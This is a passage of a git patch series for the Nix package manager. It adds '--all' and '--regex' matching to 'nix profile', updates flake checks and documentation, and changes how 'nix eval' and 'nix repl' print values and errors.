$TEST_HOME/.nix-profile/bin/hello) =~ .*-profile-test-2\.1/bin/hello ]] nix profile rollback +# Test matching no packages using literal package name. +assertStderr nix --offline profile upgrade this_package_is_not_installed << EOF +warning: Package name 'this_package_is_not_installed' does not match any packages in the profile. +warning: No packages to upgrade. Use 'nix profile list' to see the current profile. +EOF + +# Test matching no packages using regular expression. +assertStderr nix --offline profile upgrade --regex '.*unknown_package.*' << EOF +warning: Regex '.*unknown_package.*' does not match any packages in the profile. +warning: No packages to upgrade. Use 'nix profile list' to see the current profile. +EOF + # Test removing all packages using regular expression. nix profile remove --regex '.*' 2>&1 | grep "removed 2 packages, kept 0 packages" nix profile rollback @@ -85,6 +97,10 @@ nix profile rollback nix profile diff-closures # Test rollback. +printf World > $flake1Dir/who +nix profile upgrade flake1 +printf NixOS > $flake1Dir/who +nix profile upgrade flake1 nix profile rollback [[ $($TEST_HOME/.nix-profile/bin/hello) = "Hello World" ]] From 7a4d5e89d33de9d2c656a3d5b4fd44d9cf2cb05d Mon Sep 17 00:00:00 2001 From: Bob van der Linden Date: Wed, 6 Mar 2024 22:04:53 +0100 Subject: [PATCH 58/90] profile: add --all option to match any package --- src/nix/profile-remove.md | 9 ++++++++- src/nix/profile-upgrade.md | 8 +++++++- src/nix/profile.cc | 16 ++++++++++++++++ tests/functional/nix-profile.sh | 7 +++++++ 4 files changed, 38 insertions(+), 2 deletions(-) diff --git a/src/nix/profile-remove.md b/src/nix/profile-remove.md index e2dea3389..e7e5e0dfb 100644 --- a/src/nix/profile-remove.md +++ b/src/nix/profile-remove.md @@ -11,9 +11,16 @@ R""( * Remove all packages: ```console - # nix profile remove --regex '.*' + # nix profile remove --all ``` +* Remove packages by regular expression: + + ```console + # nix profile remove --regex '.*vim.*' + ``` + + * Remove a package by store path: ```console diff --git a/src/nix/profile-upgrade.md b/src/nix/profile-upgrade.md index e04ad109e..da7a668db 100644 --- a/src/nix/profile-upgrade.md +++ b/src/nix/profile-upgrade.md @@ -6,7 +6,7 @@ R""( reference: ```console - # nix profile upgrade --regex '.*' + # nix profile upgrade --all ``` * Upgrade a specific package by name: @@ -15,6 +15,12 @@ R""( # nix profile upgrade hello ``` +* Upgrade all packages that include 'vim' in their name: + + ```console + # nix profile upgrade --regex '.*vim.*' + ``` + # Description This command upgrades a previously installed package in a Nix profile, diff --git a/src/nix/profile.cc b/src/nix/profile.cc index c08d02e70..701c5cb29 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -458,6 +458,7 @@ enum MatcherType Regex, StorePath, Name, + All, }; struct Matcher @@ -500,6 +501,14 @@ Matcher createNameMatcher(const std::string & name) { }; } +Matcher all = { + .type = MatcherType::All, + .title = "--all", + .matches = [](const std::string &name, const ProfileElement & element) { + return true; + } +}; + class MixProfileElementMatchers : virtual Args, virtual StoreCommand { std::vector _matchers; @@ -508,6 +517,13 @@ public: MixProfileElementMatchers() { + addFlag({ + .longName = "all", + .description = "Match all packages in the profile.", + .handler = {[this]() { + _matchers.push_back(all); + }}, + }); addFlag({ .longName = "regex", .description = "A regular expression to match one or more packages in the profile.", diff --git a/tests/functional/nix-profile.sh b/tests/functional/nix-profile.sh index 67c8bcc98..b8513ac02 100644 --- a/tests/functional/nix-profile.sh +++ b/tests/functional/nix-profile.sh @@ -77,6 +77,13 @@ nix profile upgrade --regex '.*' [[ $(readlink $TEST_HOME/.nix-profile/bin/hello) =~ .*-profile-test-2\.1/bin/hello ]] nix profile rollback +# Test upgrading all packages +printf 2.2 > $flake1Dir/version +nix profile upgrade --all +[[ $(readlink $TEST_HOME/.nix-profile/bin/hello) =~ .*-profile-test-2\.2/bin/hello ]] +nix profile rollback +printf 1.0 > $flake1Dir/version + # Test matching no packages using literal package name. assertStderr nix --offline profile upgrade this_package_is_not_installed << EOF warning: Package name 'this_package_is_not_installed' does not match any packages in the profile. From 91f068c19309091b85f18fb5fc10ab3644642d50 Mon Sep 17 00:00:00 2001 From: Bob van der Linden Date: Wed, 6 Mar 2024 22:46:47 +0100 Subject: [PATCH 59/90] profile: make --all exclusive --- src/nix/profile.cc | 9 +++++++++ tests/functional/nix-profile.sh | 6 ++++++ 2 files changed, 15 insertions(+) diff --git a/src/nix/profile.cc b/src/nix/profile.cc index 701c5cb29..d9455b4ee 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -554,6 +554,15 @@ public: throw UsageError("No packages specified."); } + if (std::find_if(_matchers.begin(), _matchers.end(), [](const Matcher & m) { return m.type == MatcherType::All; }) != _matchers.end() && _matchers.size() > 1) { + throw UsageError("--all cannot be used with package names or regular expressions."); + } + + if (manifest.elements.empty()) { + warn("There are no packages in the profile."); + return {}; + } + std::set result; for (auto & matcher : _matchers) { bool foundMatch = false; diff --git a/tests/functional/nix-profile.sh b/tests/functional/nix-profile.sh index b8513ac02..58fdce411 100644 --- a/tests/functional/nix-profile.sh +++ b/tests/functional/nix-profile.sh @@ -84,6 +84,12 @@ nix profile upgrade --all nix profile rollback printf 1.0 > $flake1Dir/version +# Test --all exclusivity. +assertStderr nix --offline profile upgrade --all foo << EOF +error: --all cannot be used with package names or regular expressions. +Try 'nix --help' for more information. +EOF + # Test matching no packages using literal package name. assertStderr nix --offline profile upgrade this_package_is_not_installed << EOF warning: Package name 'this_package_is_not_installed' does not match any packages in the profile. From 4741d3e308a716e5637af357237e1f44c7d598b6 Mon Sep 17 00:00:00 2001 From: Bob van der Linden Date: Thu, 7 Mar 2024 00:21:40 +0100 Subject: [PATCH 60/90] add release note --- doc/manual/rl-next/profile-regex-all.md | 35 +++++++++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 doc/manual/rl-next/profile-regex-all.md diff --git a/doc/manual/rl-next/profile-regex-all.md b/doc/manual/rl-next/profile-regex-all.md new file mode 100644 index 000000000..e3e6849cc --- /dev/null +++ b/doc/manual/rl-next/profile-regex-all.md @@ -0,0 +1,35 @@ +--- +synopsis: Introduction of `--regex` and `--all` in `nix profile remove` and `nix profile upgrade` +prs: 10166 +--- + +Previously the command-line arguments for `nix profile remove` and `nix profile upgrade` matched the package entries using regular expression. +For instance: + +``` +nix profile remove '.*vim.*' +``` + +This would remove all packages that contain `vim` in their name. + +In most cases, only singular package names were used to remove and upgrade packages. Mixing this with regular expressions sometimes lead to unintended behavior. For instance, `python3.1` could match `python311`. + +To avoid unintended behavior, the arguments are now only matching exact names. + +Matching using regular expressions is still possible by using the new `--regex` flag: + +``` +nix profile remove --regex '.*vim.*' +``` + +One of the most useful cases for using regular expressions was to upgrade all packages. This was previously accomplished by: + +``` +nix profile upgrade '.*' +``` + +With the introduction of the `--all` flag, this now becomes more straightforward: + +``` +nix profile upgrade --all +``` From 4354b37fc4d83002027af80cce037e2ee89f552c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Fri, 8 Mar 2024 08:48:53 +0100 Subject: [PATCH 61/90] Add more logs to the evalNixpkgs test Make it possible to understand a mimimum what's going on in case of a failure --- flake.nix | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/flake.nix b/flake.nix index 42aaace67..80a55d40d 100644 --- a/flake.nix +++ b/flake.nix @@ -299,8 +299,11 @@ '' type -p nix-env # Note: we're filtering out nixos-install-tools because https://github.com/NixOS/nixpkgs/pull/153594#issuecomment-1020530593. - time nix-env --store dummy:// -f ${nixpkgs-regression} -qaP --drv-path | sort | grep -v nixos-install-tools > packages - [[ $(sha1sum < packages | cut -c1-40) = ff451c521e61e4fe72bdbe2d0ca5d1809affa733 ]] + ( + set -x + time nix-env --store dummy:// -f ${nixpkgs-regression} -qaP --drv-path | sort | grep -v nixos-install-tools > packages + [[ $(sha1sum < packages | cut -c1-40) = ff451c521e61e4fe72bdbe2d0ca5d1809affa733 ]] + ) mkdir $out ''; From 201369dceb49da19af42e29b1dc11586da4a26e3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Fri, 8 Mar 2024 08:50:27 +0100 Subject: [PATCH 62/90] tests.evalNixpkgs: Update the golden hash `nix-env -qaP`'s output has changed a bit because of https://github.com/NixOS/nix/issues/10132. Although that's a bit annoying, it isn't nearly as problematic as the evaluation changes that this test is supposed to catch. So it's find to just update the hash for the time being and fix the issue later (properly fixing the issue will very likely change the hash any way). --- flake.nix | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/flake.nix b/flake.nix index 80a55d40d..e9d8395ec 100644 --- a/flake.nix +++ b/flake.nix @@ -302,7 +302,7 @@ ( set -x time nix-env --store dummy:// -f ${nixpkgs-regression} -qaP --drv-path | sort | grep -v nixos-install-tools > packages - [[ $(sha1sum < packages | cut -c1-40) = ff451c521e61e4fe72bdbe2d0ca5d1809affa733 ]] + [[ $(sha1sum < packages | cut -c1-40) = e01b031fc9785a572a38be6bc473957e3b6faad7 ]] ) mkdir $out ''; From 520a1df208e8292ce0dcb8cb12f454413ff88b0e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Thu, 7 Mar 2024 10:40:53 +0100 Subject: [PATCH 63/90] flake: Disable the perl bindings on i686-linux Some perl dependencies are failing: https://hydra.nixos.org/build/252347639/nixlog/1 Since the support is only best-effort there, disable the perl bindings --- flake.nix | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/flake.nix b/flake.nix index 42aaace67..15100f772 100644 --- a/flake.nix +++ b/flake.nix @@ -341,7 +341,6 @@ checks = forAllSystems (system: { binaryTarball = self.hydraJobs.binaryTarball.${system}; - perlBindings = self.hydraJobs.perlBindings.${system}; installTests = self.hydraJobs.installTests.${system}; nixpkgsLibTests = self.hydraJobs.tests.nixpkgsLibTests.${system}; rl-next = @@ -351,6 +350,11 @@ ''; } // (lib.optionalAttrs (builtins.elem system linux64BitSystems)) { dockerImage = self.hydraJobs.dockerImage.${system}; + } // (lib.optionalAttrs (!(builtins.elem system linux32BitSystems))) { + # Some perl dependencies are broken on i686-linux. + # Since the support is only best-effort there, disable the perl + # bindings + perlBindings = self.hydraJobs.perlBindings.${system}; }); packages = forAllSystems (system: rec { From ff74c081e9996756107a7a6a718376acac1aaa17 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Thu, 7 Mar 2024 10:31:51 +0100 Subject: [PATCH 64/90] flake: Remove the cross-compilation to freebsd13 `libc` is broken there: https://hydra.nixos.org/build/252347598. We can reintroduce it once the base system is working --- flake.nix | 1 - 1 file changed, 1 deletion(-) diff --git a/flake.nix b/flake.nix index 42aaace67..49474b27e 100644 --- a/flake.nix +++ b/flake.nix @@ -31,7 +31,6 @@ crossSystems = [ "armv6l-unknown-linux-gnueabihf" "armv7l-unknown-linux-gnueabihf" - "x86_64-unknown-freebsd13" "x86_64-unknown-netbsd" ]; From 3d628d17041bbaab745dd04bedb2cea21c1f11a5 Mon Sep 17 00:00:00 2001 From: Bob van der Linden Date: Thu, 7 Mar 2024 21:40:18 +0100 Subject: [PATCH 65/90] profile: convert Matcher to abstract class --- src/nix/profile.cc | 122 ++++++++++++++++++++++++++------------------- 1 file changed, 71 insertions(+), 51 deletions(-) diff --git a/src/nix/profile.cc b/src/nix/profile.cc index d9455b4ee..75f22934f 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -453,65 +453,85 @@ struct CmdProfileInstall : InstallablesCommand, MixDefaultProfile } }; -enum MatcherType -{ - Regex, - StorePath, - Name, - All, -}; - struct Matcher { - MatcherType type; - std::string title; - std::function matches; + virtual std::string getTitle() = 0; + virtual bool matches(const std::string & name, const ProfileElement & element) = 0; }; -Matcher createRegexMatcher(const std::string & pattern) +struct RegexMatcher : public Matcher { - std::regex reg(pattern, std::regex::extended | std::regex::icase); - return { - .type = MatcherType::Regex, - .title = fmt("Regex '%s'", pattern), - .matches = [reg](const std::string &name, const ProfileElement & element) { - return std::regex_match(element.identifier(), reg); - }, - }; -} + std::regex regex; + std::string pattern; -Matcher createStorePathMatcher(const nix::StorePath & storePath) + RegexMatcher(const std::string & pattern) : regex(pattern, std::regex::extended | std::regex::icase), pattern(pattern) + { } + + std::string getTitle() override + { + return fmt("Regex '%s'", pattern); + } + + bool matches(const std::string & name, const ProfileElement & element) override + { + return std::regex_match(element.identifier(), regex); + } +}; + +struct StorePathMatcher : public Matcher { - return { - .type = MatcherType::StorePath, - .title = fmt("Store path '%s'", storePath.to_string()), - .matches = [storePath](const std::string &name, const ProfileElement & element) { - return element.storePaths.count(storePath); - } - }; -} + nix::StorePath storePath; -Matcher createNameMatcher(const std::string & name) { - return { - .type = MatcherType::Name, - .title = fmt("Package name '%s'", name), - .matches = [name](const std::string &elementName, const ProfileElement & element) { - return elementName == name; - } - }; -} + StorePathMatcher(const nix::StorePath & storePath) : storePath(storePath) + { } -Matcher all = { - .type = MatcherType::All, - .title = "--all", - .matches = [](const std::string &name, const ProfileElement & element) { + std::string getTitle() override + { + return fmt("Store path '%s'", storePath.to_string()); + } + + bool matches(const std::string & name, const ProfileElement & element) override + { + return element.storePaths.count(storePath); + } +}; + +struct NameMatcher : public Matcher +{ + std::string name; + + NameMatcher(const std::string & name) : name(name) + { } + + std::string getTitle() override + { + return fmt("Package name '%s'", name); + } + + bool matches(const std::string & name, const ProfileElement & element) override + { + return name == this->name; + } +}; + +struct AllMatcher : public Matcher +{ + std::string getTitle() override + { + return "--all"; + } + + bool matches(const std::string & name, const ProfileElement & element) override + { return true; } }; +AllMatcher all; + class MixProfileElementMatchers : virtual Args, virtual StoreCommand { - std::vector _matchers; + std::vector> _matchers; public: @@ -521,7 +541,7 @@ public: .longName = "all", .description = "Match all packages in the profile.", .handler = {[this]() { - _matchers.push_back(all); + _matchers.push_back(ref(std::shared_ptr(&all, [](AllMatcher*) {}))); }}, }); addFlag({ @@ -529,7 +549,7 @@ public: .description = "A regular expression to match one or more packages in the profile.", .labels = {"pattern"}, .handler = {[this](std::string arg) { - _matchers.push_back(createRegexMatcher(arg)); + _matchers.push_back(make_ref(arg)); }}, }); expectArgs({ @@ -540,9 +560,9 @@ public: if (auto n = string2Int(arg)) { throw Error("'nix profile' no longer supports indices ('%d')", *n); } else if (getStore()->isStorePath(arg)) { - _matchers.push_back(createStorePathMatcher(getStore()->parseStorePath(arg))); + _matchers.push_back(make_ref(getStore()->parseStorePath(arg))); } else { - _matchers.push_back(createNameMatcher(arg)); + _matchers.push_back(make_ref(arg)); } } }} @@ -554,7 +574,7 @@ public: throw UsageError("No packages specified."); } - if (std::find_if(_matchers.begin(), _matchers.end(), [](const Matcher & m) { return m.type == MatcherType::All; }) != _matchers.end() && _matchers.size() > 1) { + if (std::find_if(_matchers.begin(), _matchers.end(), [](const ref & m) { return m.dynamic_pointer_cast(); }) != _matchers.end() && _matchers.size() > 1) { throw UsageError("--all cannot be used with package names or regular expressions."); } @@ -567,13 +587,13 @@ public: for (auto & matcher : _matchers) { bool foundMatch = false; for (auto & [name, element] : manifest.elements) { - if (matcher.matches(name, element)) { + if (matcher->matches(name, element)) { result.insert(name); foundMatch = true; } } if (!foundMatch) { - warn("%s does not match any packages in the profile.", matcher.title); + warn("%s does not match any packages in the profile.", matcher->getTitle()); } } return result; From 6d245182e8900ad86cf767108289afc879293e8c Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 8 Mar 2024 12:40:14 +0100 Subject: [PATCH 66/90] GitHub fetcher: Don't emit treeHash yet But do accept it if it's there, so we don't choke on future lock files that do have the treeHash attribute. --- src/libfetchers/github.cc | 3 +++ 1 file changed, 3 insertions(+) diff --git a/src/libfetchers/github.cc b/src/libfetchers/github.cc index d9d348756..1ca639419 100644 --- a/src/libfetchers/github.cc +++ b/src/libfetchers/github.cc @@ -111,6 +111,7 @@ struct GitArchiveInputScheme : InputScheme "narHash", "lastModified", "host", + "treeHash", }; } @@ -268,7 +269,9 @@ struct GitArchiveInputScheme : InputScheme { auto [input, tarballInfo] = downloadArchive(store, _input); + #if 0 input.attrs.insert_or_assign("treeHash", tarballInfo.treeHash.gitRev()); + #endif input.attrs.insert_or_assign("lastModified", uint64_t(tarballInfo.lastModified)); auto accessor = getTarballCache()->getAccessor(tarballInfo.treeHash, false); From 1ffcbddf62824475257da2e58b2047e87f5287c8 Mon Sep 17 00:00:00 2001 From: Jonathan Dickinson Date: Fri, 8 Mar 2024 09:24:44 -0500 Subject: [PATCH 67/90] docs: add inherit to language overview (#10194) * docs: add inherit to language overview Adds a short summary about `inherit` to the language overview. --- doc/manual/src/language/index.md | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) diff --git a/doc/manual/src/language/index.md b/doc/manual/src/language/index.md index a26e43a05..5388c6dc4 100644 --- a/doc/manual/src/language/index.md +++ b/doc/manual/src/language/index.md @@ -432,6 +432,32 @@ This is an incomplete overview of language features, by example. + + + + `inherit pkgs src;` + + + + + Adds the variables to the current scope (attribute set or `let` binding). + Desugars to `pkgs = pkgs; src = src;` + + + + + + + `inherit (pkgs) lib stdenv;` + + + + + Adds the attributes, from the attribute set in parentheses, to the current scope (attribute set or `let` binding). + Desugars to `lib = pkgs.lib; stdenv = pkgs.stdenv;` + + + From 35f2b07668f1ef7e62d16fe702278ad3115c22dd Mon Sep 17 00:00:00 2001 From: Felix Uhl Date: Fri, 8 Mar 2024 20:03:31 +0100 Subject: [PATCH 68/90] docs: Fix link to release note documentation --- CONTRIBUTING.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index a0c2b16f4..887bd4802 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -67,7 +67,7 @@ Check out the [security policy](https://github.com/NixOS/nix/security/policy). - [ ] API documentation in header files - [ ] Code and comments are self-explanatory - [ ] Commit message explains **why** the change was made - - [ ] New feature or incompatible change: updated [release notes](./doc/manual/src/release-notes/rl-next.md) + - [ ] New feature or incompatible change: [add a release note](https://nixos.org/manual/nix/stable/contributing/hacking#add-a-release-note) 7. If you need additional feedback or help to getting pull request into shape, ask other contributors using [@mentions](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#mentioning-people-and-teams). From 4910d74086a85876e093136a0e8ebc547b467af7 Mon Sep 17 00:00:00 2001 From: Rebecca Turner Date: Fri, 8 Mar 2024 21:43:54 -0800 Subject: [PATCH 69/90] Print derivation paths in `nix eval` `nix eval` forces values and prints derivations as attribute sets, so commands that print derivations (e.g. `nix eval nixpkgs#bash`) will infinitely loop and segfault. Printing derivations as `.drv` paths makes `nix eval` complete as expected. Further work is needed, but this is better than a segfault. --- src/nix/eval.cc | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/src/nix/eval.cc b/src/nix/eval.cc index 2044c8c2b..088be3b17 100644 --- a/src/nix/eval.cc +++ b/src/nix/eval.cc @@ -120,8 +120,17 @@ struct CmdEval : MixJSON, InstallableValueCommand, MixReadOnlyOption } else { - state->forceValueDeep(*v); - logger->cout("%s", ValuePrinter(*state, *v, PrintOptions { .force = true })); + logger->cout( + "%s", + ValuePrinter( + *state, + *v, + PrintOptions { + .force = true, + .derivationPaths = true + } + ) + ); } } }; From ac730622e81336f42961cebea0f69bc637127ea4 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Sat, 9 Mar 2024 18:57:57 +0100 Subject: [PATCH 70/90] document where the value of `builtins.nixPath` comes from (#9113) * document default values for `nix-path` also note how it's overridden and note the effect of `restrict-eval` --- src/libexpr/eval-settings.hh | 23 +++++++++++++++++------ src/libexpr/primops.cc | 8 +++----- 2 files changed, 20 insertions(+), 11 deletions(-) diff --git a/src/libexpr/eval-settings.hh b/src/libexpr/eval-settings.hh index b5783d28f..c5581b9ff 100644 --- a/src/libexpr/eval-settings.hh +++ b/src/libexpr/eval-settings.hh @@ -21,11 +21,24 @@ struct EvalSettings : Config Setting nixPath{ this, getDefaultNixPath(), "nix-path", R"( - List of directories to be searched for `<...>` file references + List of search paths to use for [lookup path](@docroot@/language/constructs/lookup-path.md) resolution. + This setting determines the value of + [`builtins.nixPath`](@docroot@/language/builtin-constants.md#builtins-nixPath) and can be used with [`builtins.findFile`](@docroot@/language/builtin-constants.md#builtins-findFile). - In particular, outside of [pure evaluation mode](#conf-pure-eval), this determines the value of - [`builtins.nixPath`](@docroot@/language/builtin-constants.md#builtins-nixPath). - )"}; + The default value is + + ``` + $HOME/.nix-defexpr/channels + nixpkgs=$NIX_STATE_DIR/profiles/per-user/root/channels/nixpkgs + $NIX_STATE_DIR/profiles/per-user/root/channels + ``` + + It can be overridden with the [`NIX_PATH` environment variable](@docroot@/command-ref/env-common.md#env-NIX_PATH) or the [`-I` command line option](@docroot@/command-ref/opt-common.md#opt-I). + + > **Note** + > + > If [pure evaluation](#conf-pure-eval) is enabled, `nixPath` evaluates to the empty list `[ ]`. + )", {}, false}; Setting currentSystem{ this, "", "eval-system", @@ -55,8 +68,6 @@ struct EvalSettings : Config [`builtins.nixPath`](@docroot@/language/builtin-constants.md#builtins-nixPath), or to URIs outside of [`allowed-uris`](@docroot@/command-ref/conf-file.md#conf-allowed-uris). - - Also the default value for [`nix-path`](#conf-nix-path) is ignored, such that only explicitly set search path entries are taken into account. )"}; Setting pureEval{this, false, "pure-eval", diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index a7687fa06..bc2a70496 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -1736,7 +1736,7 @@ static RegisterPrimOp primop_findFile(PrimOp { - If the suffix is found inside that directory, then the entry is a match. The combined absolute path of the directory (now downloaded if need be) and the suffix is returned. - [Lookup path](@docroot@/language/constructs/lookup-path.md) expressions can be [desugared](https://en.wikipedia.org/wiki/Syntactic_sugar) using this and [`builtins.nixPath`](@docroot@/language/builtin-constants.md#builtins-nixPath): + [Lookup path](@docroot@/language/constructs/lookup-path.md) expressions are [desugared](https://en.wikipedia.org/wiki/Syntactic_sugar) using this and [`builtins.nixPath`](@docroot@/language/builtin-constants.md#builtins-nixPath): ```nix @@ -4570,11 +4570,9 @@ void EvalState::createBaseEnv() addConstant("__nixPath", v, { .type = nList, .doc = R"( - List of search path entries used to resolve [lookup paths](@docroot@/language/constructs/lookup-path.md). + The value of the [`nix-path` configuration setting](@docroot@/command-ref/conf-file.md#conf-nix-path): a list of search path entries used to resolve [lookup paths](@docroot@/language/constructs/lookup-path.md). - Lookup path expressions can be - [desugared](https://en.wikipedia.org/wiki/Syntactic_sugar) - using this and + Lookup path expressions are [desugared](https://en.wikipedia.org/wiki/Syntactic_sugar) using this and [`builtins.findFile`](./builtins.html#builtins-findFile): ```nix From ea8faf8e9ada8513fe10afdc1f369e0dc6d4dce5 Mon Sep 17 00:00:00 2001 From: Rebecca Turner Date: Sat, 9 Mar 2024 15:57:29 -0800 Subject: [PATCH 71/90] Replace `foo` with `__NIX_STR` in `cxx-big-literal` Looks a little nicer when you check the generated sources. --- mk/cxx-big-literal.mk | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/mk/cxx-big-literal.mk b/mk/cxx-big-literal.mk index 85365df8e..d64a171c8 100644 --- a/mk/cxx-big-literal.mk +++ b/mk/cxx-big-literal.mk @@ -1,5 +1,5 @@ %.gen.hh: % - @echo 'R"foo(' >> $@.tmp + @echo 'R"__NIX_STR(' >> $@.tmp $(trace-gen) cat $< >> $@.tmp - @echo ')foo"' >> $@.tmp + @echo ')__NIX_STR"' >> $@.tmp @mv $@.tmp $@ From 70e93c1e2b36d14dbd06524b73c864e3e93a2710 Mon Sep 17 00:00:00 2001 From: Rebecca Turner Date: Sat, 9 Mar 2024 17:07:52 -0800 Subject: [PATCH 72/90] Make `Matcher` subclasses `final` Fixes this very long warning, which I'll only include the first line of: /nix/store/8wrjhrycpshhc3b41xmjwvgqr2m3yajq-libcxx-16.0.6-dev/include/c++/v1/__memory/construct_at.h:66:5: warning: destructor called on non-final 'RegexMatcher' that has virtual functions but non-virtual destructor [-Wdelete-non-abstract-non-virtual-dtor] __loc->~_Tp(); --- src/nix/profile.cc | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/src/nix/profile.cc b/src/nix/profile.cc index b5ffc7cc6..c0f805794 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -485,7 +485,7 @@ struct Matcher virtual bool matches(const std::string & name, const ProfileElement & element) = 0; }; -struct RegexMatcher : public Matcher +struct RegexMatcher final : public Matcher { std::regex regex; std::string pattern; @@ -504,7 +504,7 @@ struct RegexMatcher : public Matcher } }; -struct StorePathMatcher : public Matcher +struct StorePathMatcher final : public Matcher { nix::StorePath storePath; @@ -522,7 +522,7 @@ struct StorePathMatcher : public Matcher } }; -struct NameMatcher : public Matcher +struct NameMatcher final : public Matcher { std::string name; @@ -540,7 +540,7 @@ struct NameMatcher : public Matcher } }; -struct AllMatcher : public Matcher +struct AllMatcher final : public Matcher { std::string getTitle() override { From d859d6c4341cfc735e3c373a777ee512f800817a Mon Sep 17 00:00:00 2001 From: Rebecca Turner Date: Sat, 9 Mar 2024 18:13:08 -0800 Subject: [PATCH 73/90] `:print` strings directly in `nix repl` Strings are now printed directly when evaluated by `:print`, rather than escaped. This makes it easier to debug multi-line strings or strings containing quotes, like the results of `builtins.readFile`, `lib.toShellArg`, and so on. ``` nix-repl> "cuppy\ndog\ncity" "cuppy\ndog\ncity" nix-repl> :p "cuppy\ndog\ncity" cuppy dog city ``` --- src/libcmd/repl.cc | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index 75f20d635..1a93a54fe 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -542,6 +542,7 @@ ProcessLineResult NixRepl::processLine(std::string line) << " :l, :load Load Nix expression and add it to scope\n" << " :lf, :load-flake Load Nix flake and add it to scope\n" << " :p, :print Evaluate and print expression recursively\n" + << " Strings are printed directly, without escaping.\n" << " :q, :quit Exit nix-repl\n" << " :r, :reload Reload all files\n" << " :sh Build dependencies of derivation, then start\n" @@ -749,7 +750,11 @@ ProcessLineResult NixRepl::processLine(std::string line) else if (command == ":p" || command == ":print") { Value v; evalString(arg, v); - printValue(std::cout, v); + if (v.type() == nString) { + std::cout << v.string_view(); + } else { + printValue(std::cout, v); + } std::cout << std::endl; } From d13c63afa2b7b83de65d353918d4341e9e31e640 Mon Sep 17 00:00:00 2001 From: Rebecca Turner Date: Sat, 9 Mar 2024 18:28:04 -0800 Subject: [PATCH 74/90] Print top-level errors normally in `nix repl` MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Previously, errors while printing values in `nix repl` would be printed in `«error: ...»` brackets rather than displayed normally: ``` nix-repl> legacyPackages.aarch64-darwin.pythonPackages.APScheduler «error: Package ‘python-2.7.18.7’ in /nix/store/6s0m1qc31zw3l3kq0q4wd5cp3lqpkq0q-source/pkgs/development/interpreters/python/cpython/2.7/default.nix:335 is marked as insecure, refusing to evaluate.» ``` Now, errors will be displayed normally if they're emitted at the top-level of an expression: ``` nix-repl> legacyPackages.aarch64-darwin.pythonPackages.APScheduler error: … in the condition of the assert statement at /nix/store/6s0m1qc31zw3l3kq0q4wd5cp3lqpkq0q-source/lib/customisation.nix:268:17: 267| in commonAttrs // { 268| drvPath = assert condition; drv.drvPath; | ^ 269| outPath = assert condition; drv.outPath; … in the left operand of the OR (||) operator at /nix/store/6s0m1qc31zw3l3kq0q4wd5cp3lqpkq0q-source/pkgs/development/interpreters/python/passthrufun.nix:28:45: 27| if lib.isDerivation value then 28| lib.extendDerivation (valid value || throw "${name} should use `buildPythonPackage` or `toPythonModule` if it is to be part of the Python packages set.") {} value | ^ 29| else (stack trace truncated; use '--show-trace' to show the full trace) error: Package ‘python-2.7.18.7’ in /nix/store/6s0m1qc31zw3l3kq0q4wd5cp3lqpkq0q-source/pkgs/development/interpreters/python/cpython/2.7/default.nix:335 is marked as insecure, refusing to evaluate. ``` Errors emitted in nested structures (like e.g. when printing `nixpkgs`) will still be printed in brackets. --- src/libcmd/repl.cc | 3 +- src/libexpr/print-options.hh | 30 ++++++++- src/libexpr/print.cc | 120 +++++++++++++++++------------------ 3 files changed, 91 insertions(+), 62 deletions(-) diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index 75f20d635..fce7b1a73 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -123,7 +123,8 @@ struct NixRepl .force = true, .derivationPaths = true, .maxDepth = maxDepth, - .prettyIndent = 2 + .prettyIndent = 2, + .errors = ErrorPrintBehavior::ThrowTopLevel, }); } }; diff --git a/src/libexpr/print-options.hh b/src/libexpr/print-options.hh index 6c5e80c61..080ba26b8 100644 --- a/src/libexpr/print-options.hh +++ b/src/libexpr/print-options.hh @@ -8,6 +8,29 @@ namespace nix { +/** + * How errors should be handled when printing values. + */ +enum class ErrorPrintBehavior { + /** + * Print the first line of the error in brackets: `«error: oh no!»` + */ + Print, + /** + * Throw the error to the code that attempted to print the value, instead + * of suppressing it it. + */ + Throw, + /** + * Only throw the error if encountered at the top level of the expression. + * + * This will cause expressions like `builtins.throw "uh oh!"` to throw + * errors, but will print attribute sets and other nested structures + * containing values that error (like `nixpkgs`) normally. + */ + ThrowTopLevel, +}; + /** * Options for printing Nix values. */ @@ -68,6 +91,11 @@ struct PrintOptions */ size_t prettyIndent = 0; + /** + * How to handle errors encountered while printing values. + */ + ErrorPrintBehavior errors = ErrorPrintBehavior::Print; + /** * True if pretty-printing is enabled. */ @@ -86,7 +114,7 @@ 